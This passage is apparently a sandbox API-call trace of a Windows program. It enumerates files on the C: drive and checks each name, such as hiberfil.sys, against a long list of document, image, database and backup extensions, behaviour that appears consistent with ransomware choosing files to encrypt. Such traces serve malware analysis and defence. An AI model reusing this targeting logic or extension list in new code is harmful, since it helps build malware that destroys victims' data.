dwFlags=0x0, lpMem=0x3900088 | out: hHeap=0x5b0000) returned 1 [0074.151] FindNextFileW (in: hFindFile=0x603d60, lpFindFileData=0x340fd00 | out: lpFindFileData=0x340fd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0074.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3900088 [0074.152] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974130 [0074.152] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.152] FindNextFileW (in: hFindFile=0x3974130, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0074.152] FindClose (in: hFindFile=0x3974130 | out: hFindFile=0x3974130) returned 1 [0074.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3900088 | out: hHeap=0x5b0000) returned 1 [0074.153] FindNextFileW (in: hFindFile=0x603d60, lpFindFileData=0x340fd00 | out: lpFindFileData=0x340fd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0074.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3900088 [0074.153] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="?_\x16")) returned 0xffffffff [0074.154] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3900088 | out: hHeap=0x5b0000) returned 1 [0074.154] FindNextFileW (in: hFindFile=0x603d60, lpFindFileData=0x340fd00 | out: lpFindFileData=0x340fd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0074.154] lstrlenW (lpString="hiberfil.sys") returned 12 [0074.154] lstrlenW (lpString=".1cd") returned 4 [0074.154] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0074.154] lstrlenW (lpString=".3ds") returned 4 [0074.154] lstrcmpiW (lpString1=".3ds", lpString2=".sys") returned -1 [0074.154] lstrlenW (lpString=".3fr") returned 4 [0074.154] lstrcmpiW (lpString1=".3fr", lpString2=".sys") returned -1 [0074.154] lstrlenW (lpString=".3g2") returned 4 [0074.154] lstrcmpiW (lpString1=".3g2", lpString2=".sys") returned -1 [0074.155] lstrlenW (lpString=".3gp") returned 4 [0074.155] lstrcmpiW (lpString1=".3gp", lpString2=".sys") returned -1 [0074.155] lstrlenW (lpString=".7z") returned 3 [0074.155] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0074.155] lstrlenW (lpString=".accda") returned 6 [0074.155] lstrcmpiW (lpString1=".accda", lpString2="il.sys") returned -1 [0074.155] lstrlenW (lpString=".accdb") returned 6 [0074.155] lstrcmpiW (lpString1=".accdb", lpString2="il.sys") returned -1 [0074.155] lstrlenW (lpString=".accdc") returned 6 [0074.155] lstrcmpiW (lpString1=".accdc", lpString2="il.sys") returned -1 [0074.155] lstrlenW (lpString=".accde") returned 6 [0074.155] lstrcmpiW (lpString1=".accde", lpString2="il.sys") returned -1 [0074.155] lstrlenW (lpString=".accdt") returned 6 [0074.155] lstrcmpiW (lpString1=".accdt", lpString2="il.sys") returned -1 [0074.155] lstrlenW (lpString=".accdw") returned 6 [0074.155] lstrcmpiW (lpString1=".accdw", lpString2="il.sys") returned -1 [0074.155] lstrlenW (lpString=".adb") returned 4 [0074.155] lstrcmpiW (lpString1=".adb", lpString2=".sys") returned -1 [0074.156] lstrlenW (lpString=".adp") returned 4 [0074.156] lstrcmpiW (lpString1=".adp", lpString2=".sys") returned -1 [0074.156] lstrlenW (lpString=".ai") returned 3 [0074.156] lstrcmpiW (lpString1=".ai", lpString2="sys") returned -1 [0074.156] lstrlenW (lpString=".ai3") returned 4 [0074.156] lstrcmpiW (lpString1=".ai3", lpString2=".sys") returned -1 [0074.156] lstrlenW (lpString=".ai4") returned 4 [0074.156] lstrcmpiW (lpString1=".ai4", lpString2=".sys") returned -1 [0074.156] lstrlenW (lpString=".ai5") returned 4 [0074.156] lstrcmpiW (lpString1=".ai5", lpString2=".sys") returned -1 [0074.156] lstrlenW (lpString=".ai6") returned 4 [0074.156] lstrcmpiW (lpString1=".ai6", lpString2=".sys") returned -1 [0074.156] lstrlenW (lpString=".ai7") returned 4 [0074.156] lstrcmpiW (lpString1=".ai7", lpString2=".sys") returned -1 [0074.156] lstrlenW (lpString=".ai8") returned 4 [0074.156] lstrcmpiW (lpString1=".ai8", lpString2=".sys") returned -1 [0074.156] lstrlenW (lpString=".anim") returned 5 [0074.156] lstrcmpiW (lpString1=".anim", lpString2="l.sys") returned -1 [0074.156] lstrlenW (lpString=".arw") returned 4 [0074.157] lstrcmpiW (lpString1=".arw", lpString2=".sys") returned -1 [0074.157] lstrlenW (lpString=".as") returned 3 [0074.157] lstrcmpiW (lpString1=".as", lpString2="sys") returned -1 [0074.157] lstrlenW (lpString=".asa") returned 4 [0074.157] lstrcmpiW (lpString1=".asa", lpString2=".sys") returned -1 [0074.157] lstrlenW (lpString=".asc") returned 4 [0074.157] lstrcmpiW (lpString1=".asc", lpString2=".sys") returned -1 [0074.157] lstrlenW (lpString=".ascx") returned 5 [0074.157] lstrcmpiW (lpString1=".ascx", lpString2="l.sys") returned -1 [0074.157] lstrlenW (lpString=".asm") returned 4 [0074.157] lstrcmpiW (lpString1=".asm", lpString2=".sys") returned -1 [0074.157] lstrlenW (lpString=".asmx") returned 5 [0074.157] lstrcmpiW (lpString1=".asmx", lpString2="l.sys") returned -1 [0074.157] lstrlenW (lpString=".asp") returned 4 [0074.157] lstrcmpiW (lpString1=".asp", lpString2=".sys") returned -1 [0074.157] lstrlenW (lpString=".aspx") returned 5 [0074.157] lstrcmpiW (lpString1=".aspx", lpString2="l.sys") returned -1 [0074.157] lstrlenW (lpString=".asr") returned 4 [0074.157] lstrcmpiW (lpString1=".asr", lpString2=".sys") returned -1 [0074.157] lstrlenW (lpString=".asx") returned 4 [0074.158] lstrcmpiW (lpString1=".asx", lpString2=".sys") returned -1 [0074.158] lstrlenW (lpString=".avi") returned 4 [0074.158] lstrcmpiW (lpString1=".avi", lpString2=".sys") returned -1 [0074.158] lstrlenW (lpString=".avs") returned 4 [0074.158] lstrcmpiW (lpString1=".avs", lpString2=".sys") returned -1 [0074.158] lstrlenW (lpString=".backup") returned 7 [0074.158] lstrcmpiW (lpString1=".backup", lpString2="fil.sys") returned -1 [0074.158] lstrlenW (lpString=".bak") returned 4 [0074.158] lstrcmpiW (lpString1=".bak", lpString2=".sys") returned -1 [0074.158] lstrlenW (lpString=".bay") returned 4 [0074.158] lstrcmpiW (lpString1=".bay", lpString2=".sys") returned -1 [0074.158] lstrlenW (lpString=".bd") returned 3 [0074.158] lstrcmpiW (lpString1=".bd", lpString2="sys") returned -1 [0074.158] lstrlenW (lpString=".bin") returned 4 [0074.158] lstrcmpiW (lpString1=".bin", lpString2=".sys") returned -1 [0074.158] lstrlenW (lpString=".bmp") returned 4 [0074.158] lstrcmpiW (lpString1=".bmp", lpString2=".sys") returned -1 [0074.158] lstrlenW (lpString=".bz2") returned 4 [0074.158] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0074.158] lstrlenW (lpString=".c") returned 2 [0074.158] lstrcmpiW (lpString1=".c", lpString2="ys") returned -1 [0074.159] lstrlenW (lpString=".cdr") returned 4 [0074.159] lstrcmpiW (lpString1=".cdr", lpString2=".sys") returned -1 [0074.159] lstrlenW (lpString=".cer") returned 4 [0074.159] lstrcmpiW (lpString1=".cer", lpString2=".sys") returned -1 [0074.159] lstrlenW (lpString=".cf") returned 3 [0074.159] lstrcmpiW (lpString1=".cf", lpString2="sys") returned -1 [0074.159] lstrlenW (lpString=".cfc") returned 4 [0074.159] lstrcmpiW (lpString1=".cfc", lpString2=".sys") returned -1 [0074.159] lstrlenW (lpString=".cfm") returned 4 [0074.159] lstrcmpiW (lpString1=".cfm", lpString2=".sys") returned -1 [0074.159] lstrlenW (lpString=".cfml") returned 5 [0074.159] lstrcmpiW (lpString1=".cfml", lpString2="l.sys") returned -1 [0074.159] lstrlenW (lpString=".cfu") returned 4 [0074.159] lstrcmpiW (lpString1=".cfu", lpString2=".sys") returned -1 [0074.159] lstrlenW (lpString=".chm") returned 4 [0074.159] lstrcmpiW (lpString1=".chm", lpString2=".sys") returned -1 [0074.159] lstrlenW (lpString=".cin") returned 4 [0074.159] lstrcmpiW (lpString1=".cin", lpString2=".sys") returned -1 [0074.160] lstrlenW (lpString=".class") returned 6 [0074.160] lstrcmpiW (lpString1=".class", lpString2="il.sys") returned -1 [0074.160] lstrlenW (lpString=".clx") returned 4 [0074.160] lstrcmpiW (lpString1=".clx", lpString2=".sys") returned -1 [0074.160] lstrlenW (lpString=".config") returned 7 [0074.160] lstrcmpiW (lpString1=".config", lpString2="fil.sys") returned -1 [0074.160] lstrlenW (lpString=".cpp") returned 4 [0074.160] lstrcmpiW (lpString1=".cpp", lpString2=".sys") returned -1 [0074.160] lstrlenW (lpString=".cr2") returned 4 [0074.160] lstrcmpiW (lpString1=".cr2", lpString2=".sys") returned -1 [0074.160] lstrlenW (lpString=".crt") returned 4 [0074.160] lstrcmpiW (lpString1=".crt", lpString2=".sys") returned -1 [0074.160] lstrlenW (lpString=".crw") returned 4 [0074.160] lstrcmpiW (lpString1=".crw", lpString2=".sys") returned -1 [0074.160] lstrlenW (lpString=".cs") returned 3 [0074.160] lstrcmpiW (lpString1=".cs", lpString2="sys") returned -1 [0074.160] lstrlenW (lpString=".css") returned 4 [0074.160] lstrcmpiW (lpString1=".css", lpString2=".sys") returned -1 [0074.160] lstrlenW (lpString=".csv") returned 4 [0074.160] lstrcmpiW (lpString1=".csv", lpString2=".sys") returned -1 [0074.160] lstrlenW (lpString=".cub") returned 4 [0074.161] lstrcmpiW (lpString1=".cub", lpString2=".sys") returned -1 [0074.161] lstrlenW (lpString=".dae") returned 4 [0074.161] lstrcmpiW (lpString1=".dae", lpString2=".sys") returned -1 [0074.161] lstrlenW (lpString=".dat") returned 4 [0074.161] lstrcmpiW (lpString1=".dat", lpString2=".sys") returned -1 [0074.161] lstrlenW (lpString=".db") returned 3 [0074.161] lstrcmpiW (lpString1=".db", lpString2="sys") returned -1 [0074.161] lstrlenW (lpString=".dbf") returned 4 [0074.161] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0074.161] lstrlenW (lpString=".dbx") returned 4 [0074.161] lstrcmpiW (lpString1=".dbx", lpString2=".sys") returned -1 [0074.161] lstrlenW (lpString=".dc3") returned 4 [0074.161] lstrcmpiW (lpString1=".dc3", lpString2=".sys") returned -1 [0074.161] lstrlenW (lpString=".dcm") returned 4 [0074.161] lstrcmpiW (lpString1=".dcm", lpString2=".sys") returned -1 [0074.161] lstrlenW (lpString=".dcr") returned 4 [0074.161] lstrcmpiW (lpString1=".dcr", lpString2=".sys") returned -1 [0074.162] lstrlenW (lpString=".der") returned 4 [0074.162] lstrcmpiW (lpString1=".der", lpString2=".sys") returned -1 [0074.162] lstrlenW (lpString=".dib") returned 4 [0074.162] lstrcmpiW (lpString1=".dib", lpString2=".sys") returned -1 [0074.162] lstrlenW (lpString=".dic") returned 4 [0074.162] lstrcmpiW (lpString1=".dic", lpString2=".sys") returned -1 [0074.162] lstrlenW (lpString=".dif") returned 4 [0074.162] lstrcmpiW (lpString1=".dif", lpString2=".sys") returned -1 [0074.162] lstrlenW (lpString=".divx") returned 5 [0074.162] lstrcmpiW (lpString1=".divx", lpString2="l.sys") returned -1 [0074.162] lstrlenW (lpString=".djvu") returned 5 [0074.162] lstrcmpiW (lpString1=".djvu", lpString2="l.sys") returned -1 [0074.162] lstrlenW (lpString=".dng") returned 4 [0074.162] lstrcmpiW (lpString1=".dng", lpString2=".sys") returned -1 [0074.162] lstrlenW (lpString=".doc") returned 4 [0074.162] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0074.162] lstrlenW (lpString=".docm") returned 5 [0074.162] lstrcmpiW (lpString1=".docm", lpString2="l.sys") returned -1 [0074.163] lstrlenW (lpString=".docx") returned 5 [0074.163] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0074.163] lstrlenW (lpString=".dot") returned 4 [0074.163] lstrcmpiW (lpString1=".dot", lpString2=".sys") returned -1 [0074.163] lstrlenW (lpString=".dotm") returned 5 [0074.163] lstrcmpiW (lpString1=".dotm", lpString2="l.sys") returned -1 [0074.163] lstrlenW (lpString=".dotx") returned 5 [0074.163] lstrcmpiW (lpString1=".dotx", lpString2="l.sys") returned -1 [0074.163] lstrlenW (lpString=".dpx") returned 4 [0074.163] lstrcmpiW (lpString1=".dpx", lpString2=".sys") returned -1 [0074.163] lstrlenW (lpString=".dqy") returned 4 [0074.163] lstrcmpiW (lpString1=".dqy", lpString2=".sys") returned -1 [0074.163] lstrlenW (lpString=".dsn") returned 4 [0074.163] lstrcmpiW (lpString1=".dsn", lpString2=".sys") returned -1 [0074.163] lstrlenW (lpString=".dt") returned 3 [0074.163] lstrcmpiW (lpString1=".dt", lpString2="sys") returned -1 [0074.163] lstrlenW (lpString=".dtd") returned 4 [0074.163] lstrcmpiW (lpString1=".dtd", lpString2=".sys") returned -1 [0074.163] lstrlenW (lpString=".dwg") returned 4 [0074.163] lstrcmpiW (lpString1=".dwg", lpString2=".sys") returned -1 [0074.163] lstrlenW (lpString=".dwt") returned 4 [0074.164] lstrcmpiW (lpString1=".dwt", lpString2=".sys") returned -1 [0074.164] lstrlenW (lpString=".dx") returned 3 [0074.164] lstrcmpiW (lpString1=".dx", lpString2="sys") returned -1 [0074.164] lstrlenW (lpString=".dxf") returned 4 [0074.164] lstrcmpiW (lpString1=".dxf", lpString2=".sys") returned -1 [0074.164] lstrlenW (lpString=".edml") returned 5 [0074.164] lstrcmpiW (lpString1=".edml", lpString2="l.sys") returned -1 [0074.164] lstrlenW (lpString=".efd") returned 4 [0074.164] lstrcmpiW (lpString1=".efd", lpString2=".sys") returned -1 [0074.164] lstrlenW (lpString=".elf") returned 4 [0074.164] lstrcmpiW (lpString1=".elf", lpString2=".sys") returned -1 [0074.164] lstrlenW (lpString=".emf") returned 4 [0074.164] lstrcmpiW (lpString1=".emf", lpString2=".sys") returned -1 [0074.164] lstrlenW (lpString=".emz") returned 4 [0074.164] lstrcmpiW (lpString1=".emz", lpString2=".sys") returned -1 [0074.164] lstrlenW (lpString=".epf") returned 4 [0074.164] lstrcmpiW (lpString1=".epf", lpString2=".sys") returned -1 [0074.164] lstrlenW (lpString=".eps") returned 4 [0074.164] lstrcmpiW (lpString1=".eps", lpString2=".sys") returned -1 [0074.164] lstrlenW (lpString=".epsf") returned 5 [0074.164] lstrcmpiW (lpString1=".epsf", lpString2="l.sys") returned -1 [0074.164] lstrlenW (lpString=".epsp") returned 5 [0074.164] lstrcmpiW (lpString1=".epsp", lpString2="l.sys") returned -1 [0074.164] lstrlenW (lpString=".erf") returned 4 [0074.164] lstrcmpiW (lpString1=".erf", lpString2=".sys") returned -1 [0074.164] lstrlenW (lpString=".exr") returned 4 [0074.165] lstrcmpiW (lpString1=".exr", lpString2=".sys") returned -1 [0074.165] lstrlenW (lpString=".f4v") returned 4 [0074.165] lstrcmpiW (lpString1=".f4v", lpString2=".sys") returned -1 [0074.165] lstrlenW (lpString=".fido") returned 5 [0074.165] lstrcmpiW (lpString1=".fido", lpString2="l.sys") returned -1 [0074.165] lstrlenW (lpString=".flm") returned 4 [0074.165] lstrcmpiW (lpString1=".flm", lpString2=".sys") returned -1 [0074.165] lstrlenW (lpString=".flv") returned 4 [0074.165] lstrcmpiW (lpString1=".flv", lpString2=".sys") returned -1 [0074.165] lstrlenW (lpString=".frm") returned 4 [0074.165] lstrcmpiW (lpString1=".frm", lpString2=".sys") returned -1 [0074.165] lstrlenW (lpString=".fxg") returned 4 [0074.165] lstrcmpiW (lpString1=".fxg", lpString2=".sys") returned -1 [0074.165] lstrlenW (lpString=".geo") returned 4 [0074.165] lstrcmpiW (lpString1=".geo", lpString2=".sys") returned -1 [0074.165] lstrlenW (lpString=".gif") returned 4 [0074.165] lstrcmpiW (lpString1=".gif", lpString2=".sys") returned -1 [0074.165] lstrlenW (lpString=".grs") returned 4 [0074.165] lstrcmpiW (lpString1=".grs", lpString2=".sys") returned -1 [0074.165] lstrlenW (lpString=".gz") returned 3 [0074.165] lstrcmpiW (lpString1=".gz", lpString2="sys") returned -1 [0074.165] lstrlenW (lpString=".h") returned 2 [0074.165] lstrcmpiW (lpString1=".h", lpString2="ys") returned -1 [0074.165] lstrlenW (lpString=".hdr") returned 4 [0074.165] lstrcmpiW (lpString1=".hdr", lpString2=".sys") returned -1 [0074.165] lstrlenW (lpString=".hpp") returned 4 [0074.166] lstrcmpiW (lpString1=".hpp", lpString2=".sys") returned -1 [0074.166] lstrlenW (lpString=".hta") returned 4 [0074.166] lstrcmpiW (lpString1=".hta", lpString2=".sys") returned -1 [0074.166] lstrlenW (lpString=".htc") returned 4 [0074.166] lstrcmpiW (lpString1=".htc", lpString2=".sys") returned -1 [0074.166] lstrlenW (lpString=".htm") returned 4 [0074.166] lstrcmpiW (lpString1=".htm", lpString2=".sys") returned -1 [0074.166] lstrlenW (lpString=".html") returned 5 [0074.166] lstrcmpiW (lpString1=".html", lpString2="l.sys") returned -1 [0074.166] lstrlenW (lpString=".icb") returned 4 [0074.166] lstrcmpiW (lpString1=".icb", lpString2=".sys") returned -1 [0074.166] lstrlenW (lpString=".ics") returned 4 [0074.166] lstrcmpiW (lpString1=".ics", lpString2=".sys") returned -1 [0074.166] lstrlenW (lpString=".iff") returned 4 [0074.166] lstrcmpiW (lpString1=".iff", lpString2=".sys") returned -1 [0074.166] lstrlenW (lpString=".inc") returned 4 [0074.166] lstrcmpiW (lpString1=".inc", lpString2=".sys") returned -1 [0074.166] lstrlenW (lpString=".indd") returned 5 [0074.166] lstrcmpiW (lpString1=".indd", lpString2="l.sys") returned -1 [0074.166] lstrlenW (lpString=".ini") returned 4 [0074.166] lstrcmpiW (lpString1=".ini", lpString2=".sys") returned -1 [0074.166] lstrlenW (lpString=".iqy") returned 4 [0074.166] lstrcmpiW (lpString1=".iqy", lpString2=".sys") returned -1 [0074.167] lstrlenW (lpString=".j2c") returned 4 [0074.167] lstrcmpiW (lpString1=".j2c", lpString2=".sys") returned -1 [0074.167] lstrlenW (lpString=".j2k") returned 4 [0074.167] lstrcmpiW (lpString1=".j2k", lpString2=".sys") returned -1 [0074.167] lstrlenW (lpString=".java") returned 5 [0074.167] lstrcmpiW (lpString1=".java", lpString2="l.sys") returned -1 [0074.167] lstrlenW (lpString=".jp2") returned 4 [0074.167] lstrcmpiW (lpString1=".jp2", lpString2=".sys") returned -1 [0074.167] lstrlenW (lpString=".jpc") returned 4 [0074.167] lstrcmpiW (lpString1=".jpc", lpString2=".sys") returned -1 [0074.167] lstrlenW (lpString=".jpe") returned 4 [0074.167] lstrcmpiW (lpString1=".jpe", lpString2=".sys") returned -1 [0074.167] lstrlenW (lpString=".jpeg") returned 5 [0074.167] lstrcmpiW (lpString1=".jpeg", lpString2="l.sys") returned -1 [0074.167] lstrlenW (lpString=".jpf") returned 4 [0074.167] lstrcmpiW (lpString1=".jpf", lpString2=".sys") returned -1 [0074.167] lstrlenW (lpString=".jpg") returned 4 [0074.167] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0074.167] lstrlenW (lpString=".jpx") returned 4 [0074.167] lstrcmpiW (lpString1=".jpx", lpString2=".sys") returned -1 [0074.167] lstrlenW (lpString=".js") returned 3 [0074.167] lstrcmpiW (lpString1=".js", lpString2="sys") returned -1 [0074.167] lstrlenW (lpString=".jsf") returned 4 [0074.167] lstrcmpiW (lpString1=".jsf", lpString2=".sys") returned -1 [0074.168] lstrlenW (lpString=".json") returned 5 [0074.168] lstrcmpiW (lpString1=".json", lpString2="l.sys") returned -1 [0074.168] lstrlenW (lpString=".jsp") returned 4 [0074.168] lstrcmpiW (lpString1=".jsp", lpString2=".sys") returned -1 [0074.168] lstrlenW (lpString=".kdc") returned 4 [0074.168] lstrcmpiW (lpString1=".kdc", lpString2=".sys") returned -1 [0074.168] lstrlenW (lpString=".kmz") returned 4 [0074.168] lstrcmpiW (lpString1=".kmz", lpString2=".sys") returned -1 [0074.168] lstrlenW (lpString=".kwm") returned 4 [0074.168] lstrcmpiW (lpString1=".kwm", lpString2=".sys") returned -1 [0074.168] lstrlenW (lpString=".lasso") returned 6 [0074.168] lstrcmpiW (lpString1=".lasso", lpString2="il.sys") returned -1 [0074.168] lstrlenW (lpString=".lbi") returned 4 [0074.168] lstrcmpiW (lpString1=".lbi", lpString2=".sys") returned -1 [0074.168] lstrlenW (lpString=".lgf") returned 4 [0074.168] lstrcmpiW (lpString1=".lgf", lpString2=".sys") returned -1 [0074.168] lstrlenW (lpString=".lgp") returned 4 [0074.168] lstrcmpiW (lpString1=".lgp", lpString2=".sys") returned -1 [0074.168] lstrlenW (lpString=".log") returned 4 [0074.168] lstrcmpiW (lpString1=".log", lpString2=".sys") returned -1 [0074.168] lstrlenW (lpString=".m1v") returned 4 [0074.168] lstrcmpiW (lpString1=".m1v", lpString2=".sys") returned -1 [0074.168] lstrlenW (lpString=".m4a") returned 4 [0074.169] lstrcmpiW (lpString1=".m4a", lpString2=".sys") returned -1 [0074.169] lstrlenW (lpString=".m4v") returned 4 [0074.169] lstrcmpiW (lpString1=".m4v", lpString2=".sys") returned -1 [0074.169] lstrlenW (lpString=".max") returned 4 [0074.169] lstrcmpiW (lpString1=".max", lpString2=".sys") returned -1 [0074.169] lstrlenW (lpString=".md") returned 3 [0074.169] lstrcmpiW (lpString1=".md", lpString2="sys") returned -1 [0074.169] lstrlenW (lpString=".mda") returned 4 [0074.169] lstrcmpiW (lpString1=".mda", lpString2=".sys") returned -1 [0074.169] lstrlenW (lpString=".mdb") returned 4 [0074.169] lstrcmpiW (lpString1=".mdb", lpString2=".sys") returned -1 [0074.169] lstrlenW (lpString=".mde") returned 4 [0074.169] lstrcmpiW (lpString1=".mde", lpString2=".sys") returned -1 [0074.169] lstrlenW (lpString=".mdf") returned 4 [0074.169] lstrcmpiW (lpString1=".mdf", lpString2=".sys") returned -1 [0074.169] lstrlenW (lpString=".mdw") returned 4 [0074.169] lstrcmpiW (lpString1=".mdw", lpString2=".sys") returned -1 [0074.169] lstrlenW (lpString=".mef") returned 4 [0074.169] lstrcmpiW (lpString1=".mef", lpString2=".sys") returned -1 [0074.613] lstrlenW (lpString=".mft") returned 4 [0074.613] lstrcmpiW (lpString1=".mft", lpString2=".sys") returned -1 [0074.613] lstrlenW (lpString=".mfw") returned 4 [0074.613] lstrcmpiW (lpString1=".mfw", lpString2=".sys") returned -1 [0074.613] lstrlenW (lpString=".mht") returned 4 [0074.613] lstrcmpiW (lpString1=".mht", lpString2=".sys") returned -1 [0074.613] lstrlenW (lpString=".mhtml") returned 6 [0074.613] lstrcmpiW (lpString1=".mhtml", lpString2="il.sys") returned -1 [0074.613] lstrlenW (lpString=".mka") returned 4 [0074.613] lstrcmpiW (lpString1=".mka", lpString2=".sys") returned -1 [0074.613] lstrlenW (lpString=".mkidx") returned 6 [0074.613] lstrcmpiW (lpString1=".mkidx", lpString2="il.sys") returned -1 [0074.613] lstrlenW (lpString=".mkv") returned 4 [0074.613] lstrcmpiW (lpString1=".mkv", lpString2=".sys") returned -1 [0074.614] lstrlenW (lpString=".mos") returned 4 [0074.614] lstrcmpiW (lpString1=".mos", lpString2=".sys") returned -1 [0074.614] lstrlenW (lpString=".mov") returned 4 [0074.614] lstrcmpiW (lpString1=".mov", lpString2=".sys") returned -1 [0074.614] lstrlenW (lpString=".mp3") returned 4 [0074.614] lstrcmpiW (lpString1=".mp3", lpString2=".sys") returned -1 [0074.614] lstrlenW (lpString=".mp4") returned 4 [0074.614] lstrcmpiW (lpString1=".mp4", lpString2=".sys") returned -1 [0074.614] lstrlenW (lpString=".mpeg") returned 5 [0074.614] lstrcmpiW (lpString1=".mpeg", lpString2="l.sys") returned -1 [0074.614] lstrlenW (lpString=".mpg") returned 4 [0074.614] lstrcmpiW (lpString1=".mpg", lpString2=".sys") returned -1 [0074.614] lstrlenW (lpString=".mpv") returned 4 [0074.614] lstrcmpiW (lpString1=".mpv", lpString2=".sys") returned -1 [0074.614] lstrlenW (lpString=".mrw") returned 4 [0074.614] lstrcmpiW (lpString1=".mrw", lpString2=".sys") returned -1 [0074.614] lstrlenW (lpString=".msg") returned 4 [0074.614] lstrcmpiW (lpString1=".msg", lpString2=".sys") returned -1 [0074.614] lstrlenW (lpString=".mxl") returned 4 [0074.614] lstrcmpiW (lpString1=".mxl", lpString2=".sys") returned -1 [0074.614] lstrlenW (lpString=".myd") returned 4 [0074.614] lstrcmpiW (lpString1=".myd", lpString2=".sys") returned -1 [0074.614] lstrlenW (lpString=".myi") returned 4 [0074.615] lstrcmpiW (lpString1=".myi", lpString2=".sys") returned -1 [0074.615] lstrlenW (lpString=".nef") returned 4 [0074.615] lstrcmpiW (lpString1=".nef", lpString2=".sys") returned -1 [0074.615] lstrlenW (lpString=".nrw") returned 4 [0074.615] lstrcmpiW (lpString1=".nrw", lpString2=".sys") returned -1 [0074.615] lstrlenW (lpString=".obj") returned 4 [0074.615] lstrcmpiW (lpString1=".obj", lpString2=".sys") returned -1 [0074.615] lstrlenW (lpString=".odb") returned 4 [0074.615] lstrcmpiW (lpString1=".odb", lpString2=".sys") returned -1 [0074.615] lstrlenW (lpString=".odc") returned 4 [0074.615] lstrcmpiW (lpString1=".odc", lpString2=".sys") returned -1 [0074.615] lstrlenW (lpString=".odm") returned 4 [0074.615] lstrcmpiW (lpString1=".odm", lpString2=".sys") returned -1 [0074.615] lstrlenW (lpString=".odp") returned 4 [0074.615] lstrcmpiW (lpString1=".odp", lpString2=".sys") returned -1 [0074.615] lstrlenW (lpString=".ods") returned 4 [0074.615] lstrcmpiW (lpString1=".ods", lpString2=".sys") returned -1 [0074.615] lstrlenW (lpString=".oft") returned 4 [0074.615] lstrcmpiW (lpString1=".oft", lpString2=".sys") returned -1 [0074.615] lstrlenW (lpString=".one") returned 4 [0074.615] lstrcmpiW (lpString1=".one", lpString2=".sys") returned -1 [0074.615] lstrlenW (lpString=".onepkg") returned 7 [0074.616] lstrcmpiW (lpString1=".onepkg", lpString2="fil.sys") returned -1 [0074.616] 